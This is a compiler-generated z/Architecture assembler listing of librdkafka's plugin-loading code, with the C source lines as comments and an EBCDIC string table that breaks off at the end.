text stringlengths 1 1.05M |
|---|
*PROCESS DUPALIAS
*
* Compiled by DCC Version 2.25.07 Mar 6 2021 08:51:07
* on Fri Apr 30 15:35:53 2021
*
WXTRN @@ZARCH#
*
*
*
* Code Section
*
@CODE ALIAS X'7CD9C4D2C1C6D2C16DD7D3E4C7C9D5'
@CODE CSECT
@CODE AMODE ANY
@CODE RMODE ANY
@DATA ALIAS X'7C998492818692816D9793A4878995'
__assert ALIAS C'@@ASSERT'
EXTRN __assert
rd_dl_open ALIAS X'99846D84936D96978595'
EXTRN rd_dl_open
rd_dl_close ALIAS X'99846D84936D839396A285'
EXTRN rd_dl_close
rd_dl_sym ALIAS X'99846D84936DA2A894'
EXTRN rd_dl_sym
snprintf ALIAS C'snprintf'
EXTRN snprintf
calloc ALIAS C'calloc'
EXTRN calloc
free ALIAS C'free'
EXTRN free
rd_list_init ALIAS X'99846D9389A2A36D899589A3'
EXTRN rd_list_init
rd_list_add ALIAS X'99846D9389A2A36D818484'
EXTRN rd_list_add
rd_list_destroy ALIAS X'99846D9389A2A36D8485A2A39996A8'
EXTRN rd_list_destroy
rd_list_find ALIAS X'99846D9389A2A36D86899584'
EXTRN rd_list_find
strdup ALIAS C'strdup'
EXTRN strdup
rd_kafka_log0 ALIAS X'99846D92818692816D939687F0'
EXTRN rd_kafka_log0
*
*
*
* ....... start of rd_calloc
@LNAME1077 DS 0H
DC X'00000009'
DC C'rd_calloc'
DC X'00'
rd_calloc DCCPRLG CINDEX=1077,BASER=12,FRAME=208,ENTRY=NO,ARCH=ZARCH,LN*
AMEADDR=@LNAME1077
* ******* End of Prologue
* *
* *** void *p = calloc(num, sz);
LG 15,0(0,1) ; num
STG 15,176(0,13)
LG 15,8(0,1) ; sz
STG 15,184(0,13)
LA 1,176(0,13)
LG 15,@lit_1077_0 ; calloc
@@gen_label0 DS 0H
BALR 14,15
@@gen_label1 DS 0H
LGR 2,15
* *** ((p) ? (void)0 : __assert(__func__, "C:\\asgkafka\\librdkaf\
* ka\\src\\rd.h", 122, "p"));
LTGR 15,2
BNZ @L32
@L31 DS 0H
LG 15,@lit_1077_1
STG 15,176(0,13)
LG 15,@lit_1077_2
STG 15,184(0,13)
MVGHI 192(13),122
LA 15,32(0,15)
STG 15,200(0,13)
LA 1,176(0,13)
LG 15,@lit_1077_3 ; __assert
@@gen_label3 DS 0H
BALR 14,15
@@gen_label4 DS 0H
@L32 DS 0H
* *** return p;
LGR 15,2
* *** }
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DS 0D
@FRAMESIZE_1077 DC F'208'
@lit_1077_0 DC AD(calloc)
@lit_1077_3 DC AD(__assert)
@lit_1077_2 DC AD(@strings@)
@lit_1077_1 DC AD(@DATA)
DROP 12
*
* DSECT for automatic variables in "rd_calloc"
* (FUNCTION #1077)
*
@AUTO#rd_calloc DSECT
DS XL168
*
@CODE CSECT
*
*
*
* ....... start of rd_free
@LNAME1080 DS 0H
DC X'00000007'
DC C'rd_free'
DC X'00'
rd_free DCCPRLG CINDEX=1080,BASER=12,FRAME=176,ENTRY=NO,ARCH=ZARCH,LNA*
MEADDR=@LNAME1080
* ******* End of Prologue
* *
* *** free(ptr);
LG 15,0(0,1) ; ptr
STG 15,168(0,13)
LA 1,168(0,13)
LG 15,@lit_1080_5 ; free
@@gen_label5 DS 0H
BALR 14,15
@@gen_label6 DS 0H
* *** }
@ret_lab_1080 DS 0H
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DS 0D
@FRAMESIZE_1080 DC F'176'
@lit_1080_5 DC AD(free)
DROP 12
*
* DSECT for automatic variables in "rd_free"
* (FUNCTION #1080)
*
@AUTO#rd_free DSECT
DS XL168
*
@CODE CSECT
*
*
*
* ....... start of rd_strdup
@LNAME1081 DS 0H
DC X'00000009'
DC C'rd_strdup'
DC X'00'
rd_strdup DCCPRLG CINDEX=1081,BASER=12,FRAME=208,ENTRY=NO,ARCH=ZARCH,LN*
AMEADDR=@LNAME1081
* ******* End of Prologue
* *
* ***
* *** char *n = strdup(s);
LG 15,0(0,1) ; s
STG 15,176(0,13)
LA 1,176(0,13)
LG 15,@lit_1081_7 ; strdup
@@gen_label7 DS 0H
BALR 14,15
@@gen_label8 DS 0H
LGR 2,15
* ***
* ***
* ***
* *** ((n) ? (void)0 : __assert(__func__, "C:\\asgkafka\\librdkaf\
* ka\\src\\rd.h", 148, "n"));
LTGR 15,2
BNZ @L38
@L37 DS 0H
LG 15,@lit_1081_8
LA 15,32(0,15)
STG 15,176(0,13)
LG 15,@lit_1081_9
STG 15,184(0,13)
MVGHI 192(13),148
LA 15,34(0,15)
STG 15,200(0,13)
LA 1,176(0,13)
LG 15,@lit_1081_10 ; __assert
@@gen_label10 DS 0H
BALR 14,15
@@gen_label11 DS 0H
@L38 DS 0H
* *** return n;
LGR 15,2
* *** }
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DS 0D
@FRAMESIZE_1081 DC F'208'
@lit_1081_7 DC AD(strdup)
@lit_1081_10 DC AD(__assert)
@lit_1081_9 DC AD(@strings@)
@lit_1081_8 DC AD(@DATA)
DROP 12
*
* DSECT for automatic variables in "rd_strdup"
* (FUNCTION #1081)
*
@AUTO#rd_strdup DSECT
DS XL168
*
@CODE CSECT
*
*
*
* ....... start of rd_kafka_plugin_cmp
@LNAME1921 DS 0H
DC X'00000013'
DC C'rd_kafka_plugin_cmp'
DC X'00'
rd_kafka_plugin_cmp DCCPRLG CINDEX=1921,BASER=12,FRAME=176,SAVEAREA=NO,*
ENTRY=NO,ARCH=ZARCH,LNAMEADDR=@LNAME1921
* ******* End of Prologue
* *
* *** const rd_kafka_plugin_t *a = _a, *b = _b;
LG 15,0(0,1) ; _a
LG 1,8(0,1) ; _b
* ***
* *** return __strcmp(a->rkplug_path,b->rkplug_path);
LG 15,0(0,15)
LG 1,0(0,1)
LA 0,0(0,0)
LGHI 2,0
@@gen_label12 DS 0H
CLST 15,1
BC 1,@@gen_label12
BE @@gen_label13
LLGC 2,0(0,15)
LLGC 15,0(0,1)
SLGR 2,15
@@gen_label13 DS 0H
LGFR 15,2
* *** }
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DROP 12
*
* DSECT for automatic variables in "rd_kafka_plugin_cmp"
* (FUNCTION #1921)
*
@AUTO#rd_kafka_plugin_cmp DSECT
DS XL168
*
@CODE CSECT
*
*
*
* ....... start of rd_kafka_plugin_new
@LNAME1922 DS 0H
DC X'00000013'
DC C'rd_kafka_plugin_new'
DC X'00'
rd_kafka_plugin_new DCCPRLG CINDEX=1922,BASER=12,FRAME=280,ENTRY=NO,ARC*
H=ZARCH,LNAMEADDR=@LNAME1922
* ******* End of Prologue
* *
LMG 2,5,0(1) ; conf
* *** rd_kafka_plugin_t *rkplug;
* *** const rd_kafka_plugin_t skel = { .rkplug_path = (char \
* *)path };
STG 3,176(0,13)
* setting 24 bytes to 0x00
XC 184(24,13),184(13)
* *** rd_kafka_plugin_f_conf_init_t *conf_init;
* *** rd_kafka_resp_err_t err;
* *** void *handle;
* *** void *plug_opaque = ((void *)0);
LGHI 6,0 ; 0
STG 6,168(0,13) ; plug_opaque
* ***
* ***
* *** if (rd_list_find(&conf->plugins, &skel, rd_kafka_plugi\
* n_cmp)) {
LA 15,664(0,2)
STG 15,208(0,13)
LA 15,176(0,13)
STG 15,216(0,13)
LG 15,@lit_1922_13 ; rd_kafka_plugin_cmp
STG 15,224(0,13)
LA 1,208(0,13)
LG 15,@lit_1922_14 ; rd_list_find
@@gen_label14 DS 0H
BALR 14,15
@@gen_label15 DS 0H
LTGR 15,15
BZ @L631
* *** snprintf(errstr, errstr_size, "Ignoring duplic\
* ate plugin %s", path);
STMG 4,5,208(13)
LG 15,@lit_1922_15
LA 15,36(0,15)
STG 15,224(0,13)
STG 3,232(0,13)
LA 1,208(0,13)
LG 15,@lit_1922_16 ; snprintf
@@gen_label17 DS 0H
BALR 14,15
@@gen_label18 DS 0H
* ***
* *** return RD_KAFKA_RESP_ERR_NO_ERROR;
LGR 15,6
B @ret_lab_1922
DS 0D
@FRAMESIZE_1922 DC F'280'
@lit_1922_14 DC AD(rd_list_find)
@lit_1922_13 DC AD(rd_kafka_plugin_cmp)
@lit_1922_16 DC AD(snprintf)
@lit_1922_15 DC AD(@strings@)
@lit_1922_19 DC AD(rd_kafka_log0)
@lit_1922_20 DC AD(rd_dl_open)
@lit_1922_25 DC AD(rd_dl_sym)
@lit_1922_26 DC AD(rd_dl_close)
@lit_1922_31 DC AD(rd_calloc)
@lit_1922_32 DC AD(rd_strdup)
@lit_1922_33 DC AD(rd_list_add)
* *** }
* ***
* *** do { if ((((conf)->debug & (0x1000)))) rd_kafka_log0(c\
* onf,((void *)0),((void *)0), 7,(0x1000), "PLUGLOAD","Loading plugin \
* \"%s\"", path); } while (0);
@L631 DS 0H
TM 274(2),16
BZ @L634
STG 2,208(0,13)
XC 216(16,13),216(13)
MVGHI 232(13),7
MVGHI 240(13),4096
LG 15,@lit_1922_15
LA 1,66(0,15)
STG 1,248(0,13)
LA 15,76(0,15)
STG 15,256(0,13)
STG 3,264(0,13)
LA 1,208(0,13)
LG 15,@lit_1922_19 ; rd_kafka_log0
@@gen_label20 DS 0H
BALR 14,15
@@gen_label21 DS 0H
@L634 DS 0H
* ***
* ***
* ***
* *** if (!(handle = rd_dl_open(path, errstr, errstr_size)))\
* {
STMG 3,5,208(13)
LA 1,208(0,13)
LG 15,@lit_1922_20 ; rd_dl_open
@@gen_label22 DS 0H
BALR 14,15
@@gen_label23 DS 0H
LGR 7,15
LTGR 15,7
BNZ @L635
* *** do { if ((((conf)->debug & (0x1000)))) rd_kafk\
* a_log0(conf,((void *)0),((void *)0), 7,(0x1000), "PLUGLOAD","Failed \
* to load plugin \"%s\": %s", path, errstr); } while (0);
@L636 DS 0H
TM 274(2),16
BZ @L639
STG 2,208(0,13)
XC 216(16,13),216(13)
MVGHI 232(13),7
MVGHI 240(13),4096
LG 15,@lit_1922_15
LA 1,66(0,15)
STG 1,248(0,13)
LA 15,96(0,15)
STG 15,256(0,13)
STMG 3,4,264(13)
LA 1,208(0,13)
LG 15,@lit_1922_19 ; rd_kafka_log0
@@gen_label26 DS 0H
BALR 14,15
@@gen_label27 DS 0H
@L639 DS 0H
* ***
* ***
* *** return RD_KAFKA_RESP_ERR__FS;
LGHI 15,-189 ; -189
B @ret_lab_1922
* *** }
@L635 DS 0H
* ***
* ***
* *** if (!(conf_init = rd_dl_sym(handle, "conf_init",
* *** errstr, errstr_size))) {
STG 7,208(0,13)
LG 15,@lit_1922_15
LA 15,128(0,15)
STG 15,216(0,13)
STMG 4,5,224(13)
LA 1,208(0,13)
LG 15,@lit_1922_25 ; rd_dl_sym
@@gen_label28 DS 0H
BALR 14,15
@@gen_label29 DS 0H
LGR 6,15
LTGR 15,6
BNZ @L641
* *** rd_dl_close(handle);
STG 7,208(0,13)
LA 1,208(0,13)
LG 15,@lit_1922_26 ; rd_dl_close
@@gen_label31 DS 0H
BALR 14,15
@@gen_label32 DS 0H
* *** return RD_KAFKA_RESP_ERR__INVALID_ARG;
LGHI 15,-186 ; -186
B @ret_lab_1922
* *** }
* ***
* ***
* *** do { if ((((conf)->debug & (0x1000)))) rd_kafka_log0(c\
* onf,((void *)0),((void *)0), 7,(0x1000), "PLUGINIT","Calling plugin \
* \"%s\" conf_init()", path); } while (0);
@L641 DS 0H
TM 274(2),16
BZ @L644
STG 2,208(0,13)
XC 216(16,13),216(13)
MVGHI 232(13),7
MVGHI 240(13),4096
LG 15,@lit_1922_15
LA 1,138(0,15)
STG 1,248(0,13)
LA 15,148(0,15)
STG 15,256(0,13)
STG 3,264(0,13)
LA 1,208(0,13)
LG 15,@lit_1922_19 ; rd_kafka_log0
@@gen_label34 DS 0H
BALR 14,15
@@gen_label35 DS 0H
@L644 DS 0H
* ***
* ***
* *** if ((err = conf_init(conf, &plug_opaque, errstr, errst\
* r_size))) {
STG 2,208(0,13)
LA 15,168(0,13)
STG 15,216(0,13)
STMG 4,5,224(13)
LA 1,208(0,13)
LGR 15,6
@@gen_label36 DS 0H
BALR 14,15
@@gen_label37 DS 0H
LTR 4,15
BZ @L645
* *** rd_dl_close(handle);
STG 7,208(0,13)
LA 1,208(0,13)
LG 15,@lit_1922_26 ; rd_dl_close
@@gen_label39 DS 0H
BALR 14,15
@@gen_label40 DS 0H
* *** return err;
LGFR 15,4
B @ret_lab_1922
* *** }
@L645 DS 0H
* ***
* *** rkplug = rd_calloc(1, sizeof(*rkplug));
MVGHI 208(13),1
MVGHI 216(13),32
LA 1,208(0,13)
LG 15,@lit_1922_31 ; rd_calloc
@@gen_label41 DS 0H
BALR 14,15
@@gen_label42 DS 0H
LGR 4,15
* *** rkplug->rkplug_path = rd_strdup(path);
STG 3,208(0,13)
LA 1,208(0,13)
LG 15,@lit_1922_32 ; rd_strdup
@@gen_label43 DS 0H
BALR 14,15
@@gen_label44 DS 0H
STG 15,0(0,4)
* *** rkplug->rkplug_handle = handle;
STG 7,16(0,4) ; offset of rkplug_handle in rd_kafka_plugin*
_s
* *** rkplug->rkplug_opaque = plug_opaque;
LG 15,168(0,13) ; plug_opaque
STG 15,24(0,4) ; offset of rkplug_opaque in rd_kafka_plugin*
_s
* ***
* *** rd_list_add(&conf->plugins, rkplug);
LA 15,664(0,2)
STG 15,208(0,13)
STG 4,216(0,13)
LA 1,208(0,13)
LG 15,@lit_1922_33 ; rd_list_add
@@gen_label45 DS 0H
BALR 14,15
@@gen_label46 DS 0H
* ***
* *** do { if ((((conf)->debug & (0x1000)))) rd_kafka_log0(c\
* onf,((void *)0),((void *)0), 7,(0x1000), "PLUGLOAD","Plugin \"%s\" l\
* oaded", path); } while (0);
@L646 DS 0H
TM 274(2),16
BZ @L649
STG 2,208(0,13)
XC 216(16,13),216(13)
MVGHI 232(13),7
MVGHI 240(13),4096
LG 15,@lit_1922_15
LA 1,66(0,15)
STG 1,248(0,13)
LA 15,180(0,15)
STG 15,256(0,13)
STG 3,264(0,13)
LA 1,208(0,13)
LG 15,@lit_1922_19 ; rd_kafka_log0
@@gen_label48 DS 0H
BALR 14,15
@@gen_label49 DS 0H
@L649 DS 0H
* ***
* ***
* *** return RD_KAFKA_RESP_ERR_NO_ERROR;
LGHI 15,0 ; 0
* *** }
@ret_lab_1922 DS 0H
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DROP 12
*
* DSECT for automatic variables in "rd_kafka_plugin_new"
* (FUNCTION #1922)
*
@AUTO#rd_kafka_plugin_new DSECT
DS XL168
rd_kafka_plugin_new#err#0 DS 1F ; err
ORG @AUTO#rd_kafka_plugin_new+176
rd_kafka_plugin_new#skel#0 DS 32XL1 ; skel
*
@CODE CSECT
*
*
*
* ....... start of rd_kafka_plugin_destroy
@LNAME1923 DS 0H
DC X'00000017'
DC C'rd_kafka_plugin_destroy'
DC X'00'
rd_kafka_plugin_destroy DCCPRLG CINDEX=1923,BASER=12,FRAME=176,ENTRY=NO*
,ARCH=ZARCH,LNAMEADDR=@LNAME1923
* ******* End of Prologue
* *
* *** rd_dl_close(rkplug->rkplug_handle);
LG 2,0(0,1) ; rkplug
LG 15,16(0,2)
STG 15,168(0,13)
LA 1,168(0,13)
LG 15,@lit_1923_38 ; rd_dl_close
@@gen_label50 DS 0H
BALR 14,15
@@gen_label51 DS 0H
* *** rd_free(rkplug->rkplug_path);
LG 15,0(0,2)
STG 15,168(0,13)
LA 1,168(0,13)
LG 3,@lit_1923_39 ; rd_free
LGR 15,3
@@gen_label52 DS 0H
BALR 14,15
@@gen_label53 DS 0H
* *** rd_free(rkplug);
STG 2,168(0,13)
LA 1,168(0,13)
LGR 15,3
@@gen_label54 DS 0H
BALR 14,15
@@gen_label55 DS 0H
* *** }
@ret_lab_1923 DS 0H
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DS 0D
@FRAMESIZE_1923 DC F'176'
@lit_1923_38 DC AD(rd_dl_close)
@lit_1923_39 DC AD(rd_free)
DROP 12
*
* DSECT for automatic variables in "rd_kafka_plugin_destroy"
* (FUNCTION #1923)
*
@AUTO#rd_kafka_plugin_destroy DSECT
DS XL168
*
@CODE CSECT
*
*
*
* ....... start of rd_kafka_plugins_conf_set0
@LNAME1924 DS 0H
DC X'0000001A'
DC C'rd_kafka_plugins_conf_set0'
DC X'00'
rd_kafka_plugins_conf_set0 DCCPRLG CINDEX=1924,BASER=12,FRAME=248,ENTRY*
=NO,ARCH=ZARCH,LNAMEADDR=@LNAME1924
* ******* End of Prologue
* *
LMG 2,5,0(1) ; conf
* *** char *s;
* ***
* *** rd_list_destroy(&conf->plugins);
LA 15,664(0,2)
STG 15,176(0,13)
LA 1,176(0,13)
LG 15,@lit_1924_42 ; rd_list_destroy
@@gen_label56 DS 0H
BALR 14,15
@@gen_label57 DS 0H
* *** rd_list_init(&conf->plugins, 0, (void *)&rd_kafka_plug\
* in_destroy);
LA 15,664(0,2)
STG 15,176(0,13)
XC 184(8,13),184(13)
LG 15,@lit_1924_43 ; rd_kafka_plugin_destroy
STG 15,192(0,13)
LA 1,176(0,13)
LG 15,@lit_1924_44 ; rd_list_init
@@gen_label58 DS 0H
BALR 14,15
@@gen_label59 DS 0H
* ***
* *** if (!paths || !*paths)
LTGR 15,3
BZ @L651
CLI 0(3),0
BNE @L652
@L651 DS 0H
* *** return RD_KAFKA_CONF_OK;
LGHI 15,0 ; 0
B @ret_lab_1924
DS 0D
@FRAMESIZE_1924 DC F'248'
@lit_1924_42 DC AD(rd_list_destroy)
@lit_1924_44 DC AD(rd_list_init)
@lit_1924_43 DC AD(rd_kafka_plugin_destroy)
@lit_1924_46 DC AD(@@ALLOCA)
@lit_1924_47 MVC 0(1,8),0(6)
@lit_1924_49 DC AD(rd_kafka_log0)
@lit_1924_48 DC AD(@strings@)
@lit_1924_51 DC AD(rd_kafka_plugin_new)
@lit_1924_54 DC AD(snprintf)
* ***
* ***
* *** do { const char *_src1 = (paths); size_t _srclen1 = __\
* strlen(_src1); do { const char *_src = (_src1); size_t _srclen = (_s\
* rclen1); char *_dst = __builtin_alloca(_srclen + 1); __memcpy(_dst,_\
* src,_srclen); _dst[_srclen] = '\0'; *(&s) = _dst; } while (0); } whi\
* le (0);
@L652 DS 0H
LGR 15,3
LGHI 0,0
@@gen_label62 DS 0H
SRST 0,15
BC 1,@@gen_label62
LGR 7,0
SLGR 7,3
@L655 DS 0H
LGR 6,3 ; _src
LGR 0,7
AGHI 0,1
STG 0,176(0,13)
LA 1,176(0,13)
LG 15,@lit_1924_46 ; @@ALLOCA
@@gen_label63 DS 0H
BALR 14,15
@@gen_label64 DS 0H
LGR 8,15
LTGR 1,7
BZ @@gen_label67
AGHI 1,-1
SRAG 9,1,8(0)
LTGR 9,9
BZ @@gen_label66
@@gen_label65 DS 0H
MVC 0(256,8),0(6)
LA 8,256(0,8)
LA 6,256(0,6)
BCTG 9,@@gen_label65
@@gen_label66 DS 0H
EX 1,@lit_1924_47
@@gen_label67 DS 0H
LA 1,0(7,15)
MVI 0(1),0
STG 15,168(0,13)
* ***
* *** do { if ((((conf)->debug & (0x1000)))) rd_kafka_log0(c\
* onf,((void *)0),((void *)0), 7,(0x1000), "PLUGLOAD","Loading plugins\
* from conf object %p: \"%s\"", conf, paths); } while (0);
@L658 DS 0H
TM 274(2),16
BZ @L665
STG 2,176(0,13)
XC 184(16,13),184(13)
MVGHI 200(13),7
MVGHI 208(13),4096
LG 15,@lit_1924_48
LA 1,66(0,15)
STG 1,216(0,13)
LA 15,200(0,15)
STG 15,224(0,13)
STMG 2,3,232(13)
LA 1,176(0,13)
LG 15,@lit_1924_49 ; rd_kafka_log0
@@gen_label69 DS 0H
BALR 14,15
@@gen_label70 DS 0H
@L661 DS 0H
* ***
* ***
* ***
* *** while (s && *s) {
B @L665
@L664 DS 0H
* *** char *path = s;
LG 3,168(0,13) ; s
* *** char *t;
* *** rd_kafka_resp_err_t err;
* ***
* *** if ((t = __strchr(s,';'))) {
LGR 15,3
@@gen_label71 DS 0H
CLI 0(15),94
BE @@gen_label72
CLI 0(15),0
BE @@gen_label73
LA 15,1(0,15)
B @@gen_label71
@@gen_label73 DS 0H
LGHI 15,0
@@gen_label72 DS 0H
LTGR 1,15
BZ @L667
* *** *t = '\0';
MVI 0(15),0 ; t
* *** s = t+1;
LA 15,1(0,15)
STG 15,168(0,13) ; s
* *** } else {
B @L668
@L667 DS 0H
* *** s = ((void *)0);
LGHI 15,0 ; 0
STG 15,168(0,13) ; s
* *** }
@L668 DS 0H
* ***
* *** if ((err = rd_kafka_plugin_new(conf, path,
* *** errstr, errstr_\
* size))) {
STMG 2,5,176(13)
LA 1,176(0,13)
LG 15,@lit_1924_51 ; rd_kafka_plugin_new
@@gen_label75 DS 0H
BALR 14,15
@@gen_label76 DS 0H
LTR 15,15
BZ @L669
* ***
* *** size_t elen = errstr_size > 0 ? __strl\
* en(errstr) : 0;
CLGFI 5,X'00000000'
BNH @L670
LGR 15,4
LGHI 0,0
@@gen_label79 DS 0H
SRST 0,15
BC 1,@@gen_label79
SLGR 0,4
LGR 15,0
B @L671
@L670 DS 0H
LGHI 15,0 ; 0
@L671 DS 0H
* ***
* ***
* ***
* *** if (elen + __strlen("(plugin )") + __s\
* trlen(path) <
LGR 1,15
AGHI 1,9
LGR 6,3
LGHI 0,0
@@gen_label80 DS 0H
SRST 0,6
BC 1,@@gen_label80
SLGR 0,3
* *** errstr_size)
ALGR 1,0
CLGR 1,5
BNL @L672
* *** snprintf(errstr+elen, errstr_s\
* ize-elen, " (plugin %s)", path);
LA 1,0(15,4)
STG 1,176(0,13)
SLGR 5,15
STG 5,184(0,13)
LG 15,@lit_1924_48
LA 15,242(0,15)
STG 15,192(0,13)
STG 3,200(0,13)
LA 1,176(0,13)
LG 15,@lit_1924_54 ; snprintf
@@gen_label82 DS 0H
BALR 14,15
@@gen_label83 DS 0H
@L672 DS 0H
* ***
* ***
* *** rd_list_destroy(&conf->plugins);
LA 15,664(0,2)
STG 15,176(0,13)
LA 1,176(0,13)
LG 15,@lit_1924_42 ; rd_list_destroy
@@gen_label84 DS 0H
BALR 14,15
@@gen_label85 DS 0H
* *** return RD_KAFKA_CONF_INVALID;
LGHI 15,-1 ; -1
B @ret_lab_1924
* *** }
@L669 DS 0H
* *** }
@L665 DS 0H
LG 15,168(0,13) ; s
LTGR 1,15
BZ @L666
CLI 0(15),0
BNE @L664
@L666 DS 0H
* ***
* *** return RD_KAFKA_CONF_OK;
LGHI 15,0 ; 0
* *** }
@ret_lab_1924 DS 0H
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DROP 12
*
* DSECT for automatic variables in "rd_kafka_plugins_conf_set0"
* (FUNCTION #1924)
*
@AUTO#rd_kafka_plugins_conf_set0 DSECT
DS XL168
rd_kafka_plugins_conf_set0#elen#7 DS 8XL1 ; elen
ORG @AUTO#rd_kafka_plugins_conf_set0+168
rd_kafka_plugins_conf_set0#err#4 DS 1F ; err
ORG @AUTO#rd_kafka_plugins_conf_set0+168
rd_kafka_plugins_conf_set0#_srclen#2 DS 8XL1 ; _srclen
ORG @AUTO#rd_kafka_plugins_conf_set0+168
rd_kafka_plugins_conf_set0#_srclen1#1 DS 8XL1 ; _srclen1
*
@CODE CSECT
*
*
*
* ....... start of rd_kafka_plugins_conf_set
rd_kafka_plugins_conf_set ALIAS X'99846D92818692816D9793A4878995A26D839*
695866DA285A3'
@LNAME1917 DS 0H
DC X'00000019'
DC C'rd_kafka_plugins_conf_set'
DC X'00'
rd_kafka_plugins_conf_set DCCPRLG CINDEX=1917,BASER=12,FRAME=200,ENTRY=*
YES,ARCH=ZARCH,LNAMEADDR=@LNAME1917
LGR 2,1 ; ptr to parm area
* ******* End of Prologue
* *
* ***
* *** ((scope == _RK_GLOBAL) ? (void)0 : __assert(__func__, \
* "C:\\asgkafka\\librdkafka\\src\\rdkafka_plugin.c", 205, "scope == _R\
* K_GLOBAL"));
CHSI 4(2),1
BE @L674
@L673 DS 0H
LG 15,@lit_1917_59
LA 15,422(0,15)
STG 15,168(0,13)
LG 15,@lit_1917_60
LA 1,256(0,15)
STG 1,176(0,13)
MVGHI 184(13),205
LA 15,300(0,15)
STG 15,192(0,13)
LA 1,168(0,13)
LG 15,@lit_1917_61 ; __assert
@@gen_label89 DS 0H
BALR 14,15
@@gen_label90 DS 0H
@L674 DS 0H
* *** return rd_kafka_plugins_conf_set0((rd_kafka_conf_t *)p\
* conf,
* *** set_mode == _RK_CONF\
* _PROP_SET_DEL ?
CHSI 44(2),2
BNE @L675
* *** ((void *)0) : value,\
* errstr, errstr_size);
LGHI 15,0 ; 0
B @L676
DS 0D
@FRAMESIZE_1917 DC F'200'
@lit_1917_61 DC AD(__assert)
@lit_1917_60 DC AD(@strings@)
@lit_1917_59 DC AD(@DATA)
@lit_1917_63 DC AD(rd_kafka_plugins_conf_set0)
@L675 DS 0H
LG 15,24(0,2) ; value
@L676 DS 0H
LG 1,8(0,2) ; pconf
STG 1,168(0,13)
STG 15,176(0,13)
LG 15,48(0,2) ; errstr
STG 15,184(0,13)
LG 15,56(0,2) ; errstr_size
STG 15,192(0,13)
LA 1,168(0,13)
LG 15,@lit_1917_63 ; rd_kafka_plugins_conf_set0
@@gen_label92 DS 0H
BALR 14,15
@@gen_label93 DS 0H
LGFR 15,15
* *** }
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DROP 12
*
* DSECT for automatic variables in "rd_kafka_plugins_conf_set"
* (FUNCTION #1917)
*
@AUTO#rd_kafka_plugins_conf_set DSECT
DS XL168
*
@CODE CSECT
@@STATIC ALIAS X'7C998492818692816D9793A487899550'
@@STATIC DXD 219D
*
* Non-Re-Entrant Data Section
*
@DATA CSECT
@DATA RMODE ANY
@DATA AMODE ANY
@@T48F DC X'99846D838193939683' rd.calloc
DC 1X'00'
@@T493 DC X'99846D948193939683' rd.malloc
DC 1X'00'
@@T498 DC X'99846D99858193939683' rd.realloc
DC 2X'00'
@@T49E DC X'99846DA2A39984A497' rd.strdup
DC 1X'00'
@@T4A3 DC X'99846DA2A3999584A497' rd.strndup
DC 2X'00'
@@T4AB DC X'99846D9985868395A36DA2A482F0' rd.refcnt.sub0
DC 4X'00'
@@T65A DC 4X'00'
DC X'0000001A000000000000002200000000' ................
DC X'00000024' ....
@@T67D DC X'99846D92818692816D94A287986D8485' rd.kafka.msgq.de
DC X'98' q
DC 1X'00'
@@T704 DC X'99846D92818692816D986D8485A2A399' rd.kafka.q.destr
DC X'96A8F0' oy0
DC 1X'00'
@@T785 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485A2A39996A8F0' e.destroy0
DC 2X'00'
@@T78D DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485936DA296A4998385' e.del.source
DC 2X'00'
@@T794 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485936DA296A49983856D9985A3' e.del.source.ret
DC X'A49995' urn
DC 1X'00'
@@T79C DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856DA3998987878599' e.trigger
DC 1X'00'
@@T7A0 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485A2A39996A8' e.destroy
DC 1X'00'
@@T7A5 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8489A281829385' e.disable
DC 1X'00'
@@T7C5 DC X'99846DA394978182A4866D8193939683' rd.tmpabuf.alloc
DC X'F0' 0
DC 1X'00'
@@T7F9 DC X'99846D92818692816D82A4866DA49784' rd.kafka.buf.upd
DC X'81A385' ate
DC 1X'00'
@@T81A DC X'99846D92818692816D82A4866D868995' rd.kafka.buf.fin
DC X'819389A9856D81999981A88395A3' alize.arraycnt
DC 2X'00'
@@T857 DC X'99846D92818692816D82A4866D839983' rd.kafka.buf.crc
DC X'6D899589A3' .init
DC 1X'00'
@@TA27 DC X'99846D92818692816D83A499996D94A2' rd.kafka.curr.ms
DC X'87A26DA2A482' gs.sub
DC 2X'00'
@@TA80 DC X'99846D92818692816D9793A4878995A2' rd.kafka.plugins
DC X'6D839695866DA285A3' .conf.set
DC 1X'00'
@strings@ DS 0H
DC X'C37AE081A2879281869281E093898299' C..asgkafka.libr
DC X'849281869281E0A29983E099844B8800' dkafka.src.rd.h.
DC X'97009500C9879596998995874084A497' p.n.Ignoring.dup
DC X'93898381A385409793A4878995406CA2' licate.plugin..s
DC X'0000D7D3E4C7D3D6C1C40000D3968184' ..PLUGLOAD..Load
DC X'899587409793A4878995407F6CA27F00' ing.plugin...s..
DC X'C6818993858440A39640939681844097' Failed.to.load.p
DC X'93A4878995407F6CA27F7A406CA20000' lugin...s....s..
DC X'839695866D899589A300D7D3E4C7C9D5' conf.init.PLUGIN
DC X'C9E30000C3819393899587409793A487' IT..Calling.plug
DC X'8995407F6CA27F40839695866D899589' in...s..conf.ini
DC X'A34D5D00D793A4878995407F6CA27F40' t...Plugin...s..
DC X'9396818485840000D396818489958740' loaded..Loading.
DC X'9793A4878995A2408699969440839695' plugins.from.con
DC X'86409682918583A3406C977A407F6CA2' f.object..p....s
DC X'7F00404D9793A4878995406CA25D0000' ....plugin..s...
DC X'C37AE081A2879281869281E093898299' C..asgkafka.libr
DC X'849281869281E0A29983E09984928186' dkafka.src.rdkaf
DC X'92816D9793A48789954B8300A2839697' ka.plugin.c.scop
DC X'85407E7E406DD9D26DC7D3D6C2C1D300' e.....RK.GLOBAL.
DC X'D7999684A4838500C685A3838800D686' Produce.Fetch.Of
DC X'86A285A30000D485A3818481A3810000' fset..Metadata..
DC X'D38581848599C19584C9A2990000E2A3' LeaderAndIsr..St
